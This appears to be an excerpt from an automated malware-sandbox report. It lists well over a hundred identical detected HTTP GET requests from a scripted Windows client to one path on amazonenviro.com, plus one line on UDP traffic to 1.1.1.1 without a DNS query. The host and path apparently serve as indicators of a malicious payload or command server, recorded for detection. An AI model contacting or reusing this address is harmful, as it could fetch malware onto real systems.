Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
